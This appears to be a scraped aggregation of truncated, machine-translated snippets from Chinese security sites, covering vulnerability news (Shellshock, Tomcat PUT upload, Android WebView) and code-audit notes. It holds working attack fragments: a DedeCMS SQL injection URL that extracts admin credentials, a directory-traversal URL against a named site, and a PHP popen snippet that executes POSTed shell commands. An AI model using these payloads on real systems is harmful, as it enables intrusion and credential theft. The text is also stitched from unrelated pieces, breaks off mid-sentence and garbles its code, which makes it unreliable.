source code vulnerability scanner

In 2017, GitHub began providing security vulnerability checks and alarms to the code warehouses and dependent libraries hosted on its Web site, initially supporting only the Ruby and JavaScript language projects. According to the official GitHub data, the current gitub has issued a vulnerability security warning to the 500,000 warehouse 400多万个 security vulnerabil

*,*. bmp *,*. png *,*. tif *,*. psd *,*. swf *,*. swf *"); $ Metdir-> setFIND ("files "); .... /// Omitted Set the file extension for browsing... Only .gif ,*. txt ,*. jpg *,*. rar *,*. jpeg *,*. doc *,*. pdf *,*. bmp *,*. png *,*. tif *,*. psd *,*. swf *,*. swf * the file with the extension above is a pain point. Http://www.cnseay.com/admin/system/uploadfile.php? Anyid = lang = cn fileurl = upload /../ You can browse the files in the directory, Fix: You should know better than me... Not a

Hackers have publicly launched a new attack that exploits a severe security vulnerability in the Windows operating system.CodeTo force Microsoft to fix this vulnerability before the worm outbreak. This security vulnerability was made public in September 7, but so far it has been exploited to attack computers.ProgramIn addition to causing system crash, you canno

Recently, netizens in Dedecms found a full version of the SQL injection bug, currently the official latest version has fixed the vulnerability, the relevant use of code as follows: Exp: Exp:plus/recommend.php?action=aid=1_files[type][tmp_name]=\ 'or mid=@ ' \ '/*!50000union*//*!50000select*/1,2,3, (selectCONCAT (0x7c,userid,0x7c,pwd) +from+ '%23@__admin 'limit+0,1), 5,6,7,8,9%23@ ' +_files[type][name]=1.j

Recently there has been a "destructive level" vulnerability--bash software security vulnerabilities. The loophole was discovered by French gnu/linux enthusiasts Stéphane Chazelas. Subsequently, the United States Computer Emergency Response Center (us-cert), Red Hat and a number of companies engaged in safety in Wednesday (Beijing time September 24) issued a warning. Details of this vulnerability are availab

clear that this function does not perform a boundary check on the written data, that is, any length of data can be written to the memory area of sizeof (ctrl_sock. Ctrl_sock is a local variable defined in the pr_ctrls_connect () function. When a function is called, the computer will open up a memory storage area with a size of sizeof (ctrl_sock) in the dynamic storage area, at the same time, the dynamic storage area is also used to save the field information and function return address when the

Common Vulnerabilities and code instances in PHP programming, and php programming vulnerability instances. Common Vulnerabilities and code instances in PHP programming. php programming vulnerability instances are not fixed. with the widespread use of PHP, some hackers do not want to bother with PHP, common Vulnerabilit

The attack code exploiting the WebView programming interface vulnerability in the Android operating system has been added as a module to the open-source Vulnerability exploitation framework Metasploit. The vulnerability affects versions earlier than Android 4.2. Google fixed

Windows may be too many vulnerabilities, there is no time to patch the loopholes, or what Microsoft three months can not be repaired. A vulnerability 3 months did not repair, repair 100 vulnerabilities to 25 years?In fact, open source system also has loopholes such as bash,ssh heartbeat vulnerability is not also published, and did not hear Linus issued a complain

RangeAccording to the CVE website, when Linux kernel version is less than 4.5, it is affected by this vulnerability.Google Android affected Distributions: Nexus 5X, Nexus 6, Nexus 6P, Pixel, Pixel XL, Pixel C, Android One, Nexus Player. and other related OEM versions.Ubuntu 12.04, Ubuntu 14.04 series affected, Version (16.04, 16.10, 17.04) is not affected;Debian 6, Debian 7, Debian 8 series are affected;The SuSE 12 and 12SP1 series are affected; SuSE 12sp2 and 11 and earlier versions are not af

September 19, 2017, Apache Tomcat officially released two serious security vulnerabilities, in which cve-2017-12615 is a remote code execution vulnerability, uploading a malicious JSP file to the server through a put request, and then executing arbitrary code on the server through a JSP file. And the latest patch does not completely fix the

Baidu super souba Remote Code Execution Vulnerability Author: cocoruderInformation Source: xfocus Summary: Baidu super souba is a free browser toolbar produced by Baidu, which provides various services of Baidu. For more information, see: Http://bar.baidu.com/sobar/promotion.html A remote code execution

bank.5. Information disclosureInformation leakage is a relatively low-risk vulnerability, such as the listing of the list is a deployment problem, and the code audit is irrelevant, and such as the storm path, the source of the storm is to be prevented. Ever encountered such a codeSeemingly no problem, but when the request becomes xx.php?a[]=1, that is, when the

Code auditing at Party A's company is generally dominated by white boxes, with only a few vulnerabilities, XSS, SQL injection, command execution, upload vulnerability, local inclusion, remote inclusion, Permission Bypass, and information leakage. 1. xss + SQL Injection XSS and SQL Injection occupy the largest part of the data. For framework types or public files, we recommend that you filter XSS and SQL Inj

are many ways to break through. Here we use popen to make an exploit.Error_reporting (E_ALL); $ handle = popen ('/bin/sh-C '. "'$ _ POST [x]'". '2> 1', 'R'); echo "'$ handle ';". gettype ($ handle ). "\ n"; $ read = fread ($ handle, 2096); echo $ read; pclose ($ handle); die ();The reason why POST is used is that the URI value of the framework is not valid.This place does not process single quotes, which is more convenient, but some code in the poc

) SecurityMemberAccess private fieldAllowStaticMethodAccess (false by default) To make it easier for developers to access various objects, XWork defines many predefined context variables: #application #session #request #parameters #attr These variables represent various Server variables. To prevent attackers from tampering with server objects, the ParametersInterceptor of XWork does not allow # In parameter names. About a year ago, the vulnera